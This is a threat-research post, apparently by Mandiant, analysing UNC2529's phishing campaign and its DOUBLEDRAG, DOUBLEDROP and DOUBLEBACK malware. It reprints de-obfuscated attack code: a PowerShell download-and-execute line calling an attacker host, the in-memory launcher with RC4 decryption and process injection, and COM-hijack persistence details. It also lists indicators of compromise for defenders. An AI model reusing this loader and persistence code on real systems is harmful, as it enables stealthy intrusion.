# FireEye Threat Research

## Threat Research Technical review and analysis of malware and TTPs from FireEye engagements.

• Purgalicious VBA: Macro Obfuscation With VBA Purging
by Andrew Oliveau on May 12, 2021 at 1:23 am
• The UNC2529 Triple Double: A Trifecta Phishing Campaign
by Nick Richard on May 4, 2021 at 2:00 pm

In December 2020, Mandiant observed a widespread, global phishing campaign targeting numerous organizations across an array of industries. Mandiant tracks this threat actor as UNC2529. Based on the considerable infrastructure employed, tailored phishing lures and the professionally coded sophistication of the malware, this threat actor appears experienced and well resourced. This blog post will discuss the phishing campaign, identification of three new malware families, DOUBLEDRAG, DOUBLEDROP and DOUBLEBACK, provide a deep dive into their functionality, present an overview of the actor’s modus operandi and our conclusions. A future blog post will focus on the backdoor communications and the differences between DOUBLEBACK samples to highlight the malware evolution. UNC2529 Phishing Overview Mandiant observed the first wave of the phishing campaign occur on Dec. 2, 2020, and a second wave between Dec. 11 and Dec. 18, 2020. During the initial flurry, Mandiant observed evidence that 28 organizations were sent phishing emails, though targeting was likely broader than directly observed. These emails were sent using 26 unique email addresses associated with the domain tigertigerbeads<.>com, and in only a small number of cases did we see the same address used across multiple recipient organizations. These phishing emails contained inline links to malicious URLs such as, hxxp://totallyhealth-wealth[.]com/downld-id_mw<redacted>Gdczs, engineered to entice the victim to download a file. UNC2529 employed at least 24 different domains to support this first, of a three-stage process. The structure of URLs embedded in these phishing emails had the following patterns, where the string was an alphabetic variable of unknown function. http://<fqdn>/downld-id_<string> http://<fqdn>/downld-id-<string> http://<fqdn>/files-upload_<string> http://<fqdn>/files-upload-<string> http://<fqdn>/get_file-id_<string> http://<fqdn>/get_file-id-<string> http://<fqdn>/zip_download_<string> http://<fqdn>/zip_download-<string> The first stage payload downloaded from these URLs consisted of a Zip compressed file containing a corrupt decoy PDF document and a heavily obfuscated JavaScript downloader. Mandiant tracks the downloader as DOUBLEDRAG. Interestingly, the PDF documents were obtained from public websites, but corrupted by removing bytes to render them unreadable with a standard PDF viewer. It is speculated that the victim would then attempt to launch the JavaScript (.js) file, which can be executed natively with Windows Script Host by simply double clicking on the file. All but one of the file name patterns for the ZIP, PDF and JS files were document_<state>_client-id_<4 digit number>.extension, such as “document_Ohio_client-id_8902.zip”. Each of the observed DOUBLEDRAG downloaders used in the first wave attempted to download a second-stage memory-only dropper, which Mandiant tracks as DOUBLEDROP, from either hxxp://p-leh[.]com/update_java.dat or hxxp://clanvisits[.]com/mini.dat. The downloaded file is a heavily obfuscated PowerShell script that will launch a backdoor into memory. Mandiant tracks this third-stage backdoor as DOUBLEBACK. DOUBLEBACK samples observed during the phishing campaign beaconed to hxxps://klikbets[.]net/admin/client.php and hxxps://lasartoria[.]net/admin/client.php. Prior to the second wave, observed between Dec. 11 and Dec. 18, 2020, UNC2529 hijacked a legitimate domain owned by a U.S. heating and cooling services company, modified DNS entries and leveraged that infrastructure to phish at least 22 organizations, five of which were also targeted in the first wave. It is not currently known how the legitimate domain was compromised. The threat actor used 20 newly observed domains to host the second-stage payload.  The threat actor made slight modifications to the URL pattern during the second wave. http://<fqdn>/<string> http://<fqdn>/dowld_<string> http://<fqdn>/download_<string> http://<fqdn>/files_<string> http://<fqdn>/id_<string> http://<fqdn>/upld_<string> Of note, the DOUBLEDRAG downloader observed in the first wave was replaced with a Microsoft Excel document containing an embedded legacy Excel 4.0 (XLM) macro in Excel 97-Excel 2003 Binary file format (BIFF8). When the file was opened and the macro executed successfully, it would attempt to download a second-stage payload from hxxps://towncentrehotels[.]com/ps1.dat. The core functionality of the DOUBLEDRAG JavaScript file and the BIFF8 macro is to download a file from a hardcoded URL. This Excel file was also found within Zip files, as seen in the first wave, although only one of the observed Zip files included a corresponding corrupt decoy PDF document.  Additional DOUBLEBACK samples were extracted from DOUBLEDROP samples uploaded to a public malware repository, which revealed additional command and control servers (C2), hxxps://barrel1999[.]com/admin4/client.php, hxxps://widestaticsinfo[.]com/admin4/client.php, hxxps://secureinternet20[.]com/admin5/client.php, and hxxps://adsinfocoast[.]com/admin5/client.php. Three of these domains were registered after the observed second wave. Tailored Targeting UNC2529 displayed indications of target research based on their selection of sender email addresses and subject lines which were tailored to their intended victims. For example, UNC2529 used a unique username, masquerading as an account executive for a small California-based electronics manufacturing company, which Mandiant identified through a simple Internet search. The username of the email address was associated with both sender domains, tigertigerbeads<.>com and the compromised HVAC company. Masquerading as the account executive, seven phishing emails were observed targeting the medical industry, high-tech electronics, automotive and military equipment manufacturers, and a cleared defense contractor with subject lines very specific to the products of the California-based electronics manufacturing company. Another example is a freight / transport company that received a phish with subject, “compton ca to flowery branch ga”, while a firm that recruits and places long-haul truck drivers received a simple, “driver” in the subject line. A utility company received a phish with subject, “easement to bore to our stairwell area.” While not all financial institutions saw seemingly tailored subjects, numerous appeared fairly unique, as shown in Table 1. Subject Lure Wave re: <redacted> outdoors environment (1 out of 3) 1st accepted: follow up with butch & karen 1st re: appraisal for <redacted> – smysor rd 2nd re: <redacted> financing 2nd Table 1: Sample financial industry subject lures Several insurance companies that were targeted saw less specific subjects, but still appropriate for the industry, such as those in Table 2. Subject Lure Wave fw: certificate of insurance 1st fw: insurance for plow 1st please get this information 1st question & number request 1st claim status 2nd applications for medicare supplement & part d 2nd Table 2: Sample insurance industry subject lures Interestingly, one insurance company with offices in eastern Texas received a phish with a subject related to a local water authority and an ongoing water project. While no public information was found to tie the company to the other organization or project, the subject appeared to be very customized. Some patterns were observed, as seen in Table 3. Additionally, UNC2529 targeted the same IT services organization in both waves using the same lure (1 and 5 in Table 3). Most of the phishing emails with lures containing “worker” targeted U.S. organizations. As “worker” isn’t a common way to refer to an employee in the U.S., this may indicate a non-native American English speaker. Subject Lure Wave dear worker, your work # ujcb0utczl 1st good day worker, your job number- 8ldbsq6ikd 1st hello worker, your work number- u39hbutlsf 1st good day candidate, your vacancy # xcmxydis4s 2nd dear worker, your work # ujcb0utczl 2nd Table 3: Sample pattern subject lures Industry and Regional Targeting UNC2529’s phishing campaign was both global and impacted an array of industries (Industry and Regional Targeting graphics are greater than 100% due to rounding). While acknowledging some telemetry bias, in both waves the U.S. was the primary target, while targeting of EMEA and Asia and Australia were evenly dispersed in the first wave, as shown in Figure 1. Figure 1: UNC2529 phishing campaign, first wave In the second wave, EMEA’s percentage increased the most, while the U.S. dropped slightly, and Asia and Australia remained at close to the same level, as illustrated in Figure 2.  Figure 2: UNC2529 phishing campaign, second wave Although Mandiant has no evidence about the objectives of this threat actor, their broad targeting across industries and geographies is consistent with a targeting calculus most commonly seen among financially motivated groups. Technical Analysis Overview The Triple DOUBLE malware ecosystem consists of a downloader (DOUBLEDRAG) (or alternatively an Excel document with an embedded macro), a dropper (DOUBLEDROP), and a backdoor (DOUBLEBACK). As described in the previous section, the initial infection vector starts with phishing emails that contain a link to download a malicious payload that contains an obfuscated JavaScript downloader. Once executed, DOUBLEDRAG reaches out to its C2 server and downloads a memory-only dropper. The dropper, DOUBLEDROP, is implemented as a PowerShell script that contains both 32-bit and 64-bit instances of the backdoor DOUBLEBACK. The dropper performs the initial setup that establishes the backdoor’s persistence on the compromised system and proceeds by injecting the backdoor into its own process (PowerShell.exe) and then executing it. The backdoor, once it has the execution control, loads its plugins and then enters a communication loop, fetching commands from its C2 server and dispatching them. One interesting fact about the whole ecosystem is that only the downloader exists in the file system. The rest of the components are serialized in the registry database, which makes their detection somewhat harder, especially by file-based antivirus engines. Ecosystem in Details DOUBLEDRAG Downloader component The downloader is implemented as a heavily obfuscated JavaScript code. Despite the relatively large amount of the code, it boils down to the following snippet of code (Figure 3), after de-obfuscation. “C:\Windows\System32\cmd.exe” /c oqaVepEgTmHfPyC & Po^wEr^sh^elL -nop -w hidden -ep bypass -enc <base64_encoded_ps_code> Figure 3: De-obfuscated JavaScript downloader The <base64_encoded_ps_code> downloads and executes a PowerShell script that implements the DOUBLEDROP dropper. Note, that the downloaded dropper does not touch the file system and it is executed directly from memory. A sanitized version of the code, observed in the first phishing wave, is shown in Figure 4. IEX (New-Object Net.Webclient).downloadstring(“hxxp://p-leh[.]com/update_java.dat”) Figure 4: Downloading and executing of the DOUBLEDROP dropper DOUBLEDROP Dropper component Overview The dropper component is implemented as an obfuscated in-memory dropper written in PowerShell. Two payloads are embedded in the script—the same instances of the DOUBLEBACK backdoor compiled for 32 and 64-bit architectures. The dropper saves the encrypted payload along with the information related to its decryption and execution in the compromised system’s registry database, effectively achieving a file-less malware execution. Setup The dropper’s main goal is to serialize the chosen payload along with the loading scripts into the compromised system’s registry database and to ensure that the payload will be loaded following a reboot or a user login (see the Persistence Mechanism section). In order to do so, the dropper generates three pseudo-random GUIDs and creates the registry keys and values shown in Figure 5. * HK[CU|LM]\Software\Classes\CLSID\{<rnd_guid_0>}        * key: LocalServer               * value: <default>                       * data: <bootstrap_ps_code>        * key: ProgID               * value: <default>                       * data: <rnd_guid_1>               * value: <last_4_chars_of_rnd_guid_0>                       * data: <encoded_loader>        * key: VersionIndependentProgID               * value: <default>                       * data: <rnd_guid_1>               * value: <first_4_chars_of_rnd_guid_0>                       * data: <encoded_rc4_key>               * value: <last_4_chars_of_rnd_guid_0>                       * data: <rc4_encrypted_payload> * HK[CU|LM]\Software\Classes\{<rnd_guid_1>}        * value: <default>               * data: <rnd_guid_1>        * key: CLSID               * value: <default>                       * data: <rnd_guid_0> * HK[CU|LM]\Software\Classes\CLSID\{<rnd_guid_2>}        * value: <default>               * data: <rnd_guid_1>        * key: TreatAs               * value: <default>                       * data: <rnd_guid_0> Figure 5: Registry keys and values created by the dropper Once the registry keys and values are created, the dropper dynamically generates the bootstrap and the launcher PowerShell scripts and saves them under the {<rnd_guid_0>} registry key as shown in Figure 5. Additionally, at this point the dropper generates a random RC4 key and encodes it inside a larger buffer which is then saved under the VersionIndependentProgID key. The actual RC4 key within the buffer is given by the following calculations, shown in Figure 6 (note that the key is reversed!). <relative_offset> = buffer[32] buffer[32 + <relative_offset> + 1] = <reversed_rc4_key> Figure 6: Encoding of the RC4 key Finally, the dropper encrypts the payload using the generated RC4 key and saves it in the respective value under the VersionIndependentProgId registry key (see Figure 5). At this point all the necessary steps that ensure the payload’s persistence on the system are complete and the dropper proceeds by directly executing the launcher script, so the backdoor receives the execution control immediately. The persistence mechanism, the bootstrap, and the launcher are described in more details in the following sections. Persistence Mechanism The persistence mechanism implemented by the DOUBLEDROP sample is slightly different depending on whether the dropper has been started within an elevated PowerShell process or not. If the dropper was executed within an elevated PowerShell process, it creates a scheduled task with an action specified as TASK_ACTION_COM_HANDLER and the class ID – the {<rnd_guid_2>} GUID (See Figure 5). Once executed by the system, the task finds the {<rnd_guid_2>} class under the HKLM\Software\Classes\CLSID registry path, which in this case points to an emulator class via the TreatAs registry key. The {<rnd_guid_0>} emulator class ID defines a registry key LocalServer and its default value will be executed by the task. If the dropper is started within a non-elevated PowerShell process, the sequence is generally the same but instead of a task, the malware hijacks one of the well-known classes, Microsoft PlaySoundService ({2DEA658F-54C1- 4227-AF9B-260AB5FC3543}) or MsCtfMonitor ({01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}), by creating an associated TreatAs registry key under their definition in the registry database. The TreatAs key’s default registry value points to the {<rnd_guid_0>} emulator class essentially achieving the same execution sequence as in the elevated privilege case. Bootstrap The bootstrap is implemented as an obfuscated PowerShell script, generated dynamically by the dropper. The content of the code is saved under the emulator’s class LocalServer registry key and it is either executed by a dedicated task in case of a privileged PowerShell process or by the operating system that attempts to load the emulator for the PlaySoundService or MsCtfMonitor classes.  The bootstrap code finds the location of the launcher script, decodes it and then executes it within the same PowerShell process. A decoded and sanitized version of the script is shown in Figure 7. $enc = [System.Text.Encoding]::UTF8;$loader = Get-ItemProperty     -Path($enc.GetString([Convert]::FromBase64String(‘<base64_encoded_path_to_launcher>’))) -n ‘<launcher_reg_val>’ | Select-Object -ExpandProperty ‘<launcher_reg_val>’;$xor_val = <xor_val>; iex(     $enc.GetString($(         for ($i = 0;$i -lt $loader.Length;$i++) {             if ($xor_val -ge 250) {$xor_val = 0             }             $loader[$i] -bxor $xor_val;$xor_val += 4         }     )) ) Figure 7: De-obfuscated and sanitized bootstrap code Note that the actual values for <base64_encoded_path_to_launcher>, <launcher_reg_val>, and <xor_val> are generated on the fly by the dropper and will be different across the compromised systems. The encoding of the launcher is implemented as a simple rolling XOR that is incremented after each iteration. The following code snippet (Figure 8) could be used to either encode or decode the launcher, given the initial key. def encdec(src, key):     out = bytearray()     for b in src:         if key >= 250:             key = 0         out.append(b ^ key)         key += 4     return out Figure 8: Algorithm to Decode the Launcher Once the launcher is decoded it is executed within the same PowerShell process as the bootstrap by calling the iex (Invoke-Expression) command. Launcher The launcher responsibility, after being executed by the bootstrap code, is to decrypt and execute the payload saved under the VersionIndependentProgID registry key. To do so, the launcher first decodes the RC4 key provided in the <first_4_chars_of_rnd_guid_0> value (see Figure 5) and then uses it to decrypt the payload. Once the payload is decrypted, the launcher allocates virtual memory enough to house the image in memory, copies it there, and finally creates a thread around the entry point specified in the dropper. The function at that entry point is expected to lay the image in memory, to relocate the image, if necessary, to resolve the imports and finally—to execute the payload’s entry point. A sanitized and somewhat de-obfuscated version of the launcher is shown in Figure 9. function DecryptPayload {     param($fn7,$xf7, $mb5)$fn1 = Get-ItemProperty -Path $fn7 -n$mb5 | Select-Object -ExpandProperty $mb5;$en8 = ($fn1[32] + (19 + (((5 – 2) + 0) + 11)));$ow7 = $fn1[$en8..($en8 + 31)]; [array]::Reverse($ow7);     $fn1 = Get-ItemProperty -Path$fn7 -n $xf7 | Select-Object -ExpandProperty$xf7;     $en8 = {$xk2 = 0..255;         0..255 | % {             $wn4 = ($wn4 + $xk2[$_] + $ow7[$_ % $ow7.Length]) % (275 – (3 + (11 + 5)));$xk2[$_],$xk2[$wn4] =$xk2[$wn4],$xk2[$_] };$fn1 | % {             $sp3 = ($sp3 + 1) % (275 – 19);             $si9 = ($si9 + $xk2[$sp3]) % ((600 – 280) – 64);             $xk2[$sp3], $xk2[$si9] = $xk2[$si9], $xk2[$sp3];             $_-bxor$xk2[($xk2[$sp3] + $xk2[$si9]) % (343 – ((1 + 0) + 86))]         }     };     $ry6 = (&$en8 | foreach-object { ‘{0:X2}’ -f $_ }) -join ”; ($(for ($sp3 = 0;$sp3 -lt $ry6.Length;$sp3 += 2) {                 [convert]::ToByte($ry6.Substring($sp3, 2), (17 – ((1 + 0))))             }         )     ) } function ExecuteApi {     param($fn7,$xf7)     $vy9 = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(‘?RND?’)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(‘?RND?’,$false).DefineType(‘?RND?’, ‘Class,Public,Sealed,AnsiClass,AutoClass’, [System.MulticastDelegate]);     $vy9.DefineConstructor(‘RTSpecialName,HideBySig,Public’, [System.Reflection.CallingConventions]::Standard,$fn7).SetImplementationFlags(‘Runtime,Managed’);     $vy9.DefineMethod(‘Invoke’, ‘Public,HideBySig,NewSlot,Virtual’,$xf7, $fn7).SetImplementationFlags(‘Runtime,Managed’);$vy9.CreateType() } function GetProcAddress {     param($fn7)$fq3 = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object {         $_.GlobalAssemblyCache -and$_.Location.Split(‘\\’)[-1].Equals(‘System.dll’)     }).GetType(‘Microsoft.Win32.UnsafeNativeMethods’);     $lr3 = New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($fq3.GetMethod(‘GetModuleHandle’).Invoke(0, @(‘kernel32.dll’))));     $fq3.GetMethod(‘GetProcAddress’, [reflection.bindingflags] ‘Public,Static’,$null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null).Invoke($null, @([System.Runtime.InteropServices.HandleRef]$lr3,$fn7)) } $decryptedPayload = DecryptPayload ‘hklm:\software\classes\CLSID\<rnd_guid_0>\VersionIndependentProgID’ ‘<reg_val_payload>’ ‘<reg_val_rc4_key>’; function InjectPayload { param($payload, $payloadLen,$entryPoint, $access)$mem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress ‘VirtualAllocEx’), (ExecuteApi @([IntPtr], [IntPtr], [IntPtr], [int], [int])([Intptr]))).invoke(-1, 0, $payloadLen, 0x3000,$access);     [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress ‘RtlMoveMemory’), (ExecuteApi @([IntPtr], [byte[]], [UInt32])([Intptr]))).invoke($mem,$payload, $payloadLen);$mem = New-Object System.Intptr -ArgumentList $($mem.ToInt64() + $entryPoint); [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress ‘CreateThread’), (ExecuteApi @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr])([Intptr]))).invoke(0, 0,$mem, 0, 0, 0);     Start-Sleep -s (((2673 – 942) + 1271)) } # 0x36dc = Loader Entry Point, rva # 0x40 = PAGE_EXECUTE_READWRITE InjectPayload $decryptedPayload$decryptedPayload.length 0x36dc 0x40 Figure 9: De-obfuscated and sanitized launcher script DOUBLEBACK Backdoor component Overview The observed DOUBLEDROP instances contain a well-designed backdoor implemented as a 32 or 64-bit PE dynamic library which we track as DOUBLEBACK. The backdoor is initially mapped into the same PowerShell process started by the bootstrap script, but it will then inject itself into a msiexec.exe process if certain conditions are met. By design, the core of the backdoor functionality is intended to be executed after injected into a newly spawned msiexec.exe process.  In contrast with other backdoors DOUBLEBACK does not have its services hardcoded and the functionality is expected to be implemented as plugins that are expected to be serialized in the registry database under a host-specific registry path. That way, the backdoor can be configured to implement a flexible set of services depending on the target. With all the common functionality implemented as plugins, the backdoor’s main goal is to establish a communication framework ensuring data integrity between the C2 server and the appropriate plugins. Details The backdoor starts by retrieving its process name and ensures that it is either powershell.exe or msiexec.exe. In all other cases, the malware will immediately terminate itself. Normally, when first started on the system, the backdoor will be injected into the same PowerShell process that executes both the bootstrap code and the launcher. In that mode the malware may spawn (depending on certain conditions) a msiexec process and injects itself into it. More details about the logic implemented in the PowerShell and the msiexec branches are provided in the following sections.  Next, the backdoor ensures that it is the only DOUBLEBACK instance currently executing on the compromised system. To do that, the malware generates a host-based pseudo-unique GUID and uses it as a mutex name. The algorithm first generates a pseudo-unique host identifier that is based on the system volume’s serial number and a hardcoded salt value, as shown in Figure 10. # oberserved salt = 0x436ea76d def gen_host_id(vol_ser_num, salt):     salted_val = (vol_ser_num + salt) & 0xffffffff     md5 = hashlib.md5(bytes(salted_val.to_bytes(4, ‘little’)))     second_dword = struct.unpack(‘<i’, md5.digest()[4:8])[0]     return (salted_val + second_dword) & 0xffffffff Figure 10: Host ID generation algorithm Next, the malware passes the generated host ID to another algorithm that generates a pseudo-unique GUID based on the input, as shown in Figure 11. # src is the host ID def gen_guid(src):     b = bytearray()     xor = 0xaabbccdd     for _ in range(4):         b += src.to_bytes(4, byteorder=’little’)         src ^= xor         xor = (xor + xor) & 0xffffffff     return uuid.UUID(bytes_le=bytes(b)) Figure 11: GUID generation algorithm Once the GUID is generated the malware formats it as Global\{<guid>} and attempts to open a mutex with that name. In case the mutex is already created the backdoor assumes that another instance of itself is already running and terminates itself. Otherwise, the backdoor creates the mutex and branches out depending on the detected process it currently mapped into. Executing Within the PowerShell Process The initial state of the backdoor execution is when it is mapped into a PowerShell process created by the bootstrap code. In this mode, the backdoor attempts to relocate itself into a new instance of msiexec.exe. Before the injection is attempted, the backdoor enumerates the running processes looking for Kaspersky Antivirus (avp.exe, avpui.exe) or BitDefender (bdagent.exe, bdservbdagent.exe, bdservicehost.exe) engines. This part of the functionality seems to be a work in progress because the malware ignores the fact if the Kaspersky software is detected but it will not attempt injecting into the msiexec.exe process in case BitDefender is found running on the compromised system. In the latter case, the backdoor’s main functionality will be executed inside the same PowerShell process and no new instance of msiexec.exe will be created. The injection process involves finding the backdoor’s image under the appropriate registry key. Note, that the backdoor instance we have observed in the first wave does not handle situations when the malware ecosystem is installed as an administrator—such cases would end up with the backdoor not able to locate its image for injecting. In all other cases, the malware starts with the well-known class GUIDs of the PlaySoundService and MsCtfMonitor classes and attempts to find which of them has the TreatAs registry key under their definition. Once the TreatAs key is found, its default registry value points to the registry key that has the RC4-encrypted backdoor image and the encoded RC4 key both described in the previous section of the post. With the backdoor image loaded in memory and decrypted, the malware spawns a suspended process around msiexec.exe and inject its image into it. The backdoor PE file exports a single function that is used to lay down its own image in memory and execute its DllMain entry point. The export function allocates the needed memory, relocates the image, if needed, resolves the imports and finally executes the backdoor’s DllMain function. At this point the backdoor is running inside the hijacked msiexec.exe and the instance inside the PowerShell process terminates itself. Executing as Injected in the msiexec.exe Process Overview The DOUBLEBACK backdoor executes its main functionality while injected in a dedicated msiexec.exe process (provided BitDefender AV is not found running on the system). The main logical modules of the backdoor are its configuration, plugin management, and communications. In the following sections we will describe the first two, while a future blog post will focus on the communications and the evolution of the backdoor. Configuration The backdoor uses an embedded configuration that contains the C2 URLs and a key (more about the key in the second part of the post). The configuration data is formatted as shown in Figure 12. struct tag_config_header_t {     uint32_t xor_val_1;     uint32_t xor_val_2;     uint32_t xor_val_3;     uint32_t xor_val_4; } config_header_t; struct tag_config_t {     config_header_t header;     uint8_t encoded_config[]; } config_t; Figure 12: Encoded configuration format The length of the encoded_config data is provided by the XOR-ing of the xor_val_1 and xor_val_2 fields of the config_header_t structure. The config_t.encoded_config blob can be decoded by XOR-ing the data with the config_header_t.xor_val_1. The decoded configuration data consists of a comma-separated list of URLs followed by a key that is used in the communication module. The first two bytes specify the lengths of the comma-separated URL list and the key, respectively. The URLs in the observed samples follow the pattern shown in Figure 13. https://<server>/admin<n>/client.php Figure 13: Observed C2 URL pattern The initial sample did not have any value for <n> but the samples after that were observed to use <n> equal to 4 or 5. Plugin Management The backdoor’s core functionality is implemented via plugins designed as PE Windows dynamic libraries. The plugins, as with the other backdoor components, are also saved in the registry database under a host-specific registry key. The full path to the plugins location is formatted as HK[LM|CU]:\Software\Classes\CLSID\{<plugins_home_guid>}, where <plugins_home_guid> is generated by the GUID algorithm shown in Figure 11 with a host-specific value we call implant ID which is used not only to generate the path to the plugins but with the backdoor’s C2 communications and it is also passed as a parameter to each of the plugins during their initialization. The implant ID is generated by seeding the Linear Congruential Generator (LCG) algorithm, shown in Figure 14, with the host ID and the <max_range> value is set to 0x54c5638. The value generated by the LCG is then added to 0x989680 and the result serves as the implant ID. def lcg(max_range):     global seed     if seed == 0:         seed = get_RDTSC()     n = (0x7fffffed * seed + 0x7fffffc3) & 0xffffffff     val = n % max_range     seed = n     return val Figure 14: Linear Congruential Generator used by the backdoor The backdoor enumerates all the registry values under the plugins home location (the registry value names are insignificant) and expects each of the plugins to be formatted, as shown in Figure 15. struct tag_plugin_header_t {     uint32_t xor_val;     uint32_t param_2; the second parameter of the pfn_init     uint32_t len_1;     uint32_t len_2;     uint32_t pfn_init;     uint32_t pfn_cleanup;     uint32_t param_3; the third parameter of the pfn_init     uint32_t unused; } plugin_header_t; struct tag_plugin_t {        plugin_header_t header;        uint8_t encoded_plugin[]; } plugin_t; Figure 15: Encoded plugins format As shown in Figure 15, the plugin data starts with a 32-byte long header followed by the encoded plugin DLL. The plugin encoding is implemented as a combination of rolling DWORD/BYTE XOR with initial value specified by the plugin_header_t.xor_val value. The plugin_header_t.len_1 stores the number of DWORDS to be decoded with plugin_header_t.xor_val which is incremented by 4 after each iteration. The plugin_header_t.len_2 specifies the number of bytes to be decoded at the current position after the previous operation with the current value of the plugin_header_t.xor_val (only the least significant byte is taken). In this mode the plugin_header_t.xor_val value is incremented by one after each iteration. The plugins are expected to export at least two functions—one for initialization and another to clean up the resources before unloading. The initialization routine takes four parameters—two from the header and two calculated by the backdoor, as shown Figure 16. pfn_init(implant_id, plugin_header_t.param_2, plugin_header_t.param_3, p_plugin_image_in_memory) Figure 16: Plugins initialization routine prototype The current backdoor’s implementation provides support for up to 32 plugins with each of them mapped and initialized in the backdoor’s process space. Additional Notes The first backdoor instance we observed back in December 2020 was a stable and well-written code, but it was clearly a work in progress. For example, the early instance of the malware spawns a thread to secure delete the DOUBLEDROP dropper from disk which indicates that an earlier variant of this malware launched a copy of the dropper from the file system. The dropper would save its current location on disk in the default registry value under the HK[LM|CU]:\Software\Classes key. The backdoor spawns a dedicated thread that retrieves the dropper’s path and then proceeds to overwrite the image on disk with 0x00, 0xFF, and a randomly generated byte before deleting the dropper from the file system. Additionally, the early instance of the backdoor, as mentioned, would not handle the situations when an elevated PowerShell process is used. The dropper would use a scheduled task in that case with the relevant registry keys created under the HKLM hive but the backdoor does not support that case and will not be able to find its image under the specific key in order to inject itself into the msiexec.exe process. Finally, the backdoor would output debug information in a few cases using the OutputDebugString API. Interestingly, the format and the generation of the log message is the same as the one used in the publicly available PEGASUS code (preliminary technical analysis: Pegasus Malware Source Code). The PEGASUS backdoor is distributed with modules that allow it to manipulate files generated by common Russian payment processing software that is used to assess and process VAT refunds. When executed on a workstation running targeted software, the malware can attempt to add VAT to transactions that are normally exempt and directs associated tax refunds to attacker-controlled bank accounts. Conclusion Considerable resources were employed by UNC2529 to conduct their December phishing campaign. Almost 50 domains supported various phases of the effort, targets were researched, and a legitimate third-party domain was compromised. The threat actor made extensive use of obfuscation and fileless malware to complicate detection to deliver a well coded and extensible backdoor. UNC2529 is assessed as capable, professional and well resourced. The identified wide-ranging targets, across geography and industry suggests a financial crime motive. DOUBLEBACK appears to be an ongoing work in progress and Mandiant anticipates further actions by UNC2529 to compromise victims across all industries worldwide. Technical Indicators DOUBLEDRAG / BIFF8 Files MD5 Role Wave 39fc804566d02c35f3f9d67be52bee0d DOUBLEDRAG 1st 44f7af834ee7387ac5d99a676a03cfdd DOUBLEDRAG 1st 4e5583e34ad54fa7d1617f400281ba56 PDF Decoy 1st e80dc4c3e26deddcc44e66bb19b6fb58 PDF Decoy 1st 169c4d96138d3ff73097c2a9aab5b1c0 Zip 1st e70502d020ba707095d46810fd32ee49 Zip 1st 62fb99dc271abc104504212157a4ba91 Excel BIFF8 macro 2nd 1d3fcb7808495bd403973a0472291da5 PDF Decoy 2nd 6a1da7ee620c638bd494f4e24f6f1ca9 Zip 2nd a28236b43f014c15f7ad4c2b4daf1490 Zip 2nd d594b3bce66b8b56881febd38aa075fb Zip 2nd Domains Dec. 2, 2020 Wave Dec. 11 to 18, 2020 Wave adupla[.]net aibemarle[.]com ceylonbungalows[.]net bestwalletforbitcoin[.]com chandol[.]com bitcoinsacks[.]com closetdeal[.]com digitalagencyleeds[.]com daldhillon[.]com erbilmarriott[.]com desmoncreative[.]com ethernetpedia[.]com farmpork[.]com fileamazon[.]com gemralph[.]com gamesaccommodationscotland[.]com isjustlunch[.]com greathabibgroup[.]com logicmyass[.]com infomarketx[.]com lottoangels[.]com jagunconsult[.]com mangoldsengers[.]com khodaycontrolsystem[.]com oconeeveteransmemorial[.]com maninashop[.]com scottishhandcraft[.]com onceprojects[.]com seathisons[.]com simcardhosting[.]com skysatcam[.]com stayzarentals[.]com smartnhappy[.]com touristboardaccommodation[.]com stepearn[.]com towncentrehotel[.]com sugarmummylove[.]com vacuumcleanerpartsstore[.]com techooze[.]com zmrtu[.]com tigertigerbeads[.]com   totallyhealth-wealth[.]com   towncenterhotel[.]com   uaeworkpermit[.]com   DOUBLEDROP MD5 4b32115487b4734f2723d461856af155 9e3f7e6697843075de537a8ba83da541 cc17e0a3a15da6a83b06b425ed79d84c URLs hxxp://p-leh[.]com/update_java.dat hxxp://clanvisits[.]com/mini.dat hxxps://towncentrehotels[.]com/ps1.dat DOUBLEBACK MD5 1aeecb2827babb42468d8257aa6afdeb 1bdf780ea6ff3abee41fe9f48d355592 1f285e496096168fbed415e6496a172f 6a3a0d3d239f04ffd0666b522b8fcbaa ce02ef6efe6171cd5d1b4477e40a3989 fa9e686b811a1d921623947b8fd56337 URLs hxxps://klikbets[.]net/admin/client.php hxxps://lasartoria[.]net/admin/client.php hxxps://barrel1999[.]com/admin4/client.php hxxps://widestaticsinfo[.]com/admin4/client.php hxxps://secureinternet20[.]com/admin5/client.php hxxps://adsinfocoast[.]com/admin5/client.php Detections FireEye detects this activity across our platforms. The following contains specific detection names that provide an indicator of exploitation or post-exploitation activities we associate with UNC2529. Platforms Detection Name Network Security Email Security Detection On Demand Malware File Scanning Malware File Storage Scanning FEC_Trojan_JS_DOUBLEDRAG_1 (static) FE_Trojan_JS_DOUBLEDRAG_1 (static) Downloader.DOUBLEDRAG (network) Downloader.JS.DOUBLEDRAG.MVX (dynamic) FE_Dropper_PS1_DOUBLEDROP_1 (static) FEC_Dropper_PS1_DOUBLEDROP_1 (static) Dropper.PS1.DOUBLEDROP.MVX (dynamic) FE_Backdoor_Win_DOUBLEBACK_1 (static) FE_Backdoor_Win_DOUBLEBACK_2 (static) FE_Backdoor_Win_DOUBLEBACK_3 (static) FE_Backdoor_Win_DOUBLEBACK_4 (static) Backdoor.Win.DOUBLEBACK (network) Malware.Binary.xls Endpoint Security Real-Time (IOC) POWERSHELL ENCODED REMOTE DOWNLOAD (METHODOLOGY) SUSPICIOUS POWERSHELL USAGE (METHODOLOGY) MALICIOUS SCRIPT CONTENT A (METHODOLOGY) POWERSHELL INVOCATION FROM REGISTRY ARTIFACT (METHODOLOGY) Malware Protection (AV/MG) Generic.mg.1aeecb2827babb42 Generic.mg.1bdf780ea6ff3abe Generic.mg.1f285e496096168f Generic.mg.6a3a0d3d239f04ff Generic.mg.ce02ef6efe6171cd Generic.mg.fa9e686b811a1d92 Trojan.JS.Agent.TZP Gen:Variant.Ulise.150277 Gen:Variant.Ulise.150283 Gen:Variant.Razy.799918 UNC2529 MITRE ATT&CK Mapping ATT&CK Tactic Category Techniques Resource Development Compromise Infrastructure (TT1584) Develop Capabilities 